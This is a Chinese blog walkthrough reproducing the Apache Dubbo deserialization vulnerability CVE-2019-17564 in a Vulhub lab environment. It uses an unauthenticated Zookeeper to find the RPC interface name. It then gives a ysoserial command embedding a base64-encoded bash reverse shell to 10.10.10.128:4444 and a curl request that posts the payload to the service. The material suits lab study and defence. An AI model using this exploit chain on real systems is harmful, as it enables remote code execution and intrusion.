首页 > 编程语言 >Aapche Dubbo Java反序列化漏洞(CVE-2019-17564)

Aapche Dubbo Java反序列化漏洞(CVE-2019-17564)

时间:2023-12-13 17:36:51浏览次数:55  
标签:Dubbo Aapche Zookeeper 漏洞 2019 10.10 序列化

Aapche Dubbo Java反序列化漏洞(CVE-2019-17564)

漏洞描述

Apache Dubbo是一款高性能、轻量级的开源Java RPC服务框架。Dubbo可以使用不同协议通信,当使用http协议时,Apache Dubbo直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter类做远程调用,而这个过程会读取POST请求的Body并进行反序列化,最终导致漏洞。
这个漏洞影响Apache Dubbo 2.7.4及以前版本,2.7.5后Dubbo使用com.googlecode.jsonrpc4j.JsonRpcServer替换了HttpInvokerServiceExporter

环境搭建

cd vulhub/dubbo/CVE-2019-17564
docker-compose up -d

服务启动后,访问http://10.10.10.10:8080,服务器默认会返回500错误。

漏洞复现

利用该漏洞需要先知道目标RPC接口名,而Dubbo所有的RPC配置储存在registry中,通常使用Zookeeper作为registry。如果能刚好找到目标的Zookeeper未授权访问漏洞,那么就可以在其中找到接口的名称与地址。
Vulhub对外开放了8080端口和2181端口,其中2181即为Zookeeper的端口,外面本地下载Zookeeper,使用其中自带的zkCli即可连接到这台Zookeeper服务器,切换到bin目录,使用zkCli.sh 脚本

./zkCli.sh -server 10.10.10.10:2181

img
连接后进入一个交互式控制台,使用ls即可列出其中所有节点,包括Dubbo相关的配置:
img
获取到RPC接口名为org.vulhub.api.CalcService。直接用ysoserial生成CommonsCollections6的Payload作为POST Body发送到http://10.10.10.10:8080/org.vulhub.api.CalcService即可触发反序列化漏洞:

反弹bash
java -jar ysoserial-all.jar CommonsCollections5 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" > poc.ser

curl -XPOST --data-binary @1.poc http://your-ip:8080/org.vulhub.api.CalcService

img
反弹shell成功!

标签:Dubbo,Aapche,Zookeeper,漏洞,2019,10.10,序列化
From: https://www.cnblogs.com/kalixcn/p/17899541.html

相关文章

  • 关于c++序列化
    对于一个复杂数据对象的存储和装载有很多方式,比如自定义的文本或者2进制格式,以及对应的读取和写入程序。也有一些适应力较强比较通用的方式,文本的有xml和json。尤其是xml文件查看起来比较方便。但是xml的最大问题就是装载和保存都比较慢。装载1个大文件足以把头发等白:)在c++里......
  • docker问题 dubbo-admin浏览器错误
    问题描述:zookeeper容器配置成功,dubbo-admin容器配置成功。使用dockerps显示两个容器都启动成功且映射端口没有出错。在虚拟机中ping本机和在本机中ping虚拟机都显示正常接通。使用浏览器访问dubbo-admin时浏览器无法显示。解决方案:修改docker配置文件vim/etc/docker/da......
  • php反序列化
    反序列化中常见的魔术方法1.  __wakeup()//执行unserialize()时,先会调用这个函数2.  __sleep()//执行serialize()时,先会调用这个函数3.  __destruct()//对象被销毁时触发4.  __call()//在对象上下文中调用不可访问的方法时触发5.  __callStatic()//在静......
  • ApacheCC1反序列化分析
    ApacheCC1反序列化分析写在前面:这条链路对初学者来说并不是那么简单的,大家在学习时一定要多动手调试代码,有的时候光看代码看得头大,一调试就都明白了。一、背景介绍首先,什么是cc1cc全称Common-Collections,是apache基金会的一个项目,它提供了比原生的java更多的接口和方法,比如说......
  • Django 含有外键模型新增数据以及序列化
    Django含有外键模型新增数据以及序列化Django原生实现外键classAppleModel(models.Model):id=models.AutoField(primary_key=True)app_name=models.CharField(max_length=50)classPickleModel(models.Model):pid=models.AutoField(primary_key=True)......
  • JAVA自定义对象序列化,自定义的控制每个字节的序列化情况
    在java中,正常来说序列化是可以直接继承Serializable,或使用类似于fastjson,protobuf等框架。但是这些框架对于二进制协议,自定义协议,私有协议方面却不太好使,私有协议大多还是按照字节的方式组织数据,对于java来说需要控制每个属性的序列化方式,所以这块主要还是以传统的方式,读字节......
  • Python的json序列化模块
    一、jsonJson模块提供了四个功能:dumps、dump、loads、load1、前景什么叫序列化——将原本的字典、列表等内容转换成一个字符串的过程就叫做序列化。序列化的目的以某种存储形式使自定义对象持久化;将对象从一个地方传递到另一个地方。使程序更具维护性在Python中,能够......
  • Java反序列化 CC7链
    参考链接https://blog.csdn.net/qq_35733751/article/details/119862728https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections7.javahttps://y0n3er.github.io/undefined/45911.html环境搭建CommonsCollections3.2.1JD......
  • Shiro550 反序列化
    参考链接https://www.bilibili.com/video/BV1iF411b7bD环境搭建搭环境看的这位师傅的,有图有步骤,爱了。https://fireline.fun/2021/05/21/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90(%E4%B8%80)-Shiro550/漏洞原理摘要shiro550在hvv的......
  • fastjson反序列化
    前言fastjson是阿里巴巴旗下的一个Java库,用于Java对象和JSON字符串之间的转换。这个库从2017-2022年,陆陆续续爆出了20多个反序列化RCE。官方采用黑名单的方式修复漏洞,这导致出现一系列的bypass==序列化分析packagePojo;importjava.util.Properties;publicclassUser......